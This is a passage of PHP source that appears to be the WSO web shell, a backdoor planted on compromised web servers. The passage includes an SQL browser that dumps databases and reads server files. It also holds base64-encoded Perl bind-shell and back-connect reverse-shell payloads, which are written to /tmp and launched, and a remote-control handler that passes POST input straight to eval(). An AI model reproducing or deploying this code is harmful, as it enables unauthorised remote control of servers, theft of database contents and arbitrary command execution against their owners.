  1763.                     if(!$head)
  1764.                         if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1765.                 break;
  1766.                 case 'pgsql':
  1767.                     $this->query('SELECT * FROM '.$table);
  1768.                     while($item = $this->fetch()) {
  1769.                         $columns = array();
  1770.                         foreach($item as $k=>$v) {
  1771.                             $item[$k] = "'".addslashes($v)."'";
  1772.                             $columns[] = $k;
  1773.                         }
  1774.                         $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1775.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1776.                     }
  1777.                 break;
  1778.             }
  1779.             return false;
  1780.         }
  1781.     };
  1782.     $db = new DbClass($_POST['type']);
  1783.     if(@$_POST['p2']=='download') {
  1784.         $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1785.         $db->selectdb($_POST['sql_base']);
  1786.         switch($_POST['charset']) {
  1787.             case "Windows-1251": $db->setCharset('cp1251'); break;
  1788.             case "UTF-8": $db->setCharset('utf8'); break;
  1789.             case "KOI8-R": $db->setCharset('koi8r'); break;
  1790.             case "KOI8-U": $db->setCharset('koi8u'); break;
  1791.             case "cp866": $db->setCharset('cp866'); break;
  1792.         }
  1793.         if(empty($_POST['file'])) {
  1794.             ob_start("ob_gzhandler", 4096);
  1795.             header("Content-Disposition: attachment; filename=dump.sql");
  1796.             header("Content-Type: text/plain");
  1797.             foreach($_POST['tbl'] as $v)
  1798.                 $db->dump($v);
  1799.             exit;
  1800.         } elseif($fp = @fopen($_POST['file'], 'w')) {
  1801.             foreach($_POST['tbl'] as $v)
  1802.                 $db->dump($v, $fp);
  1803.             fclose($fp);
  1804.             unset($_POST['p2']);
  1805.         } else
  1806.             die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1807.     }
  1808.     wsoHeader();
  1809.     echo "
  1810.  
  1811. <h1>Sql browser</h1><div class=content>
  1812. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1813. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1814. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1815. <td><select name='type'><option value='mysql' ";
  1816.     if(@$_POST['type']=='mysql')echo 'selected';
  1817. echo ">MySql</option><option value='pgsql' ";
  1818. if(@$_POST['type']=='pgsql')echo 'selected';
  1819. echo ">PostgreSql</option></select></td>
  1820. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1821. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1822. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1823.     $tmp = "<input type=text name=sql_base value=''>";
  1824.     if(isset($_POST['sql_host'])){
  1825.         if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1826.             switch($_POST['charset']) {
  1827.                 case "Windows-1251": $db->setCharset('cp1251'); break;
  1828.                 case "UTF-8": $db->setCharset('utf8'); break;
  1829.                 case "KOI8-R": $db->setCharset('koi8r'); break;
  1830.                 case "KOI8-U": $db->setCharset('koi8u'); break;
  1831.                 case "cp866": $db->setCharset('cp866'); break;
  1832.             }
  1833.             $db->listDbs();
  1834.             echo "<select name=sql_base><option value=''></option>";
  1835.             while($item = $db->fetch()) {
  1836.                 list($key, $value) = each($item);
  1837.                 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1838.             }
  1839.             echo '</select>';
  1840.         }
  1841.         else echo $tmp;
  1842.     }else
  1843.         echo $tmp;
  1844.     echo "</td>
  1845.  
  1846.                 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1847.                 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1848.             </tr>
  1849.         </table>
  1850.         <script>
  1851.             s_db='".@addslashes($_POST['sql_base'])."';
  1852.             function fs(f) {
  1853.                 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1854.                     if(f.p1) f.p1.value='';
  1855.                     if(f.p2) f.p2.value='';
  1856.                     if(f.p3) f.p3.value='';
  1857.                 }
  1858.             }
  1859.             function st(t,l) {
  1860.                 d.sf.p1.value = 'select';
  1861.                 d.sf.p2.value = t;
  1862.                 if(l && d.sf.p3) d.sf.p3.value = l;
  1863.                 d.sf.submit();
  1864.             }
  1865.             function is() {
  1866.                 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1867.                     d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1868.             }
  1869.         </script>";
  1870.     if(isset($db) && $db->link){
  1871.         echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1872.             if(!empty($_POST['sql_base'])){
  1873.                 $db->selectdb($_POST['sql_base']);
  1874.                 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1875.                 $tbls_res = $db->listTables();
  1876.                 while($item = $db->fetch($tbls_res)) {
  1877.                     list($key, $value) = each($item);
  1878.                     if(!empty($_POST['sql_count']))
  1879.                         $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1880.                     $value = htmlspecialchars($value);
  1881.                     echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
  1882.                 }
  1883.                 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1884.                 if(@$_POST['p1'] == 'select') {
  1885.                     $_POST['p1'] = 'query';
  1886.                     $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1887.                     $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1888.                     $num = $db->fetch();
  1889.                     $pages = ceil($num['n'] / 30);
  1890.                     echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1891.                     echo " of $pages";
  1892.                     if($_POST['p3'] > 1)
  1893.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
  1894.                     if($_POST['p3'] < $pages)
  1895.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
  1896.                     $_POST['p3']--;
  1897.                     if($_POST['type']=='pgsql')
  1898.                         $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1899.                     else
  1900.                         $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1901.                     echo "<br><br>";
  1902.                 }
  1903.                 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1904.                     $db->query(@$_POST['p2']);
  1905.                     if($db->res !== false) {
  1906.                         $title = false;
  1907.                         echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1908.                         $line = 1;
  1909.                         while($item = $db->fetch())    {
  1910.                             if(!$title)    {
  1911.                                 echo '<tr>';
  1912.                                 foreach($item as $key => $value)
  1913.                                     echo '<th>'.$key.'</th>';
  1914.                                 reset($item);
  1915.                                 $title=true;
  1916.                                 echo '</tr><tr>';
  1917.                                 $line = 2;
  1918.                             }
  1919.                             echo '<tr class="l'.$line.'">';
  1920.                             $line = $line==1?2:1;
  1921.                             foreach($item as $key => $value) {
  1922.                                 if($value == null)
  1923.                                     echo '<td><i>null</i></td>';
  1924.                                 else
  1925.                                     echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1926.                             }
  1927.                             echo '</tr>';
  1928.                         }
  1929.                         echo '</table>';
  1930.                     } else {
  1931.                         echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1932.                     }
  1933.                 }
  1934.                 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1935.                 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1936.                     echo htmlspecialchars($_POST['p2']);
  1937.                 echo "</textarea><br/><input type=submit value='Execute'>";
  1938.                 echo "</td></tr>";
  1939.             }
  1940.             echo "</table></form><br/>";
  1941.             if($_POST['type']=='mysql') {
  1942.                 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1943.                 if($db->fetch())
  1944.                     echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1945.             }
  1946.             if(@$_POST['p1'] == 'loadfile') {
  1947.                 $file = $db->loadFile($_POST['p2']);
  1948.                 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1949.             }
  1950.     } else {
  1951.         echo htmlspecialchars($db->error());
  1952.     }
  1953.     echo '</div>';
  1954.     wsoFooter();
  1955. }
  1956. function actionNetwork() {
  1957.     wsoHeader();
  1958.     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1959.     $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1960.     echo "<h1>Network tools</h1><div class=content>
  1961.  
  1962.     <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1963.     <span>Bind port to /bin/sh [perl]</span><br/>
  1964.     Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1965.     </form>
  1966.     <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1967.     <span>Back-connect  [perl]</span><br/>
  1968.     Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1969.  
  1970.     </form><br>";
  1971.     if(isset($_POST['p1'])) {
  1972.         function cf($f,$t) {
  1973.             $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1974.             if($w){
  1975.                 @fwrite($w,@base64_decode($t));
  1976.                 @fclose($w);
  1977.             }
  1978.         }
  1979.         if($_POST['p1'] == 'bpp') {
  1980.             cf("/tmp/bp.pl",$bind_port_p);
  1981.             $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1982.             echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1983.             unlink("/tmp/bp.pl");
  1984.         }
  1985.         if($_POST['p1'] == 'bcp') {
  1986.             cf("/tmp/bc.pl",$back_connect_p);
  1987.             $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1988.             echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1989.             unlink("/tmp/bc.pl");
  1990.         }
  1991.     }
  1992.     echo '</div>';
  1993.     wsoFooter();
  1994. }
  1995. function actionRC() {
  1996.     if(!@$_POST['p1']) {
  1997.         $a = array(
  1998.             "uname" => php_uname(),
  1999.             "php_version" => phpversion(),
  2000.             "wso_version" => WSO_VERSION,
  2001.             "safemode" => @ini_get('safe_mode')
  2002.         );
  2003.         echo serialize($a);
  2004.     } else {
  2005.         eval($_POST['p1']);
  2006.     }
  2007. }
  2008. if( empty($_POST['a']) )
  2009.     if(isset($default_action) && function_exists('action' . $default_action))
  2010.         $_POST['a'] = $default_action;
  2011.     else
  2012.         $_POST['a'] = 'SecInfo';
  2013. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  2014.     call_user_func('action' . $_POST['a']);
  2015. function FetchURL($url) {
  2016.          $ch = curl_init();
  2017.          curl_setopt($ch, CURLOPT_USERAGENT, "$cheader");
  2018.          curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2019.          curl_setopt($ch, CURLOPT_HEADER, false);
  2020.          curl_setopt($ch, CURLOPT_URL, $url);
  2021.          curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2022.          curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  2023.          $data = curl_exec($ch);
  2024.          if(!$data) {
  2025.             return false;
  2026.          }
  2027.          return $data;
  2028.       }
  2029. exit;
  2030. ?>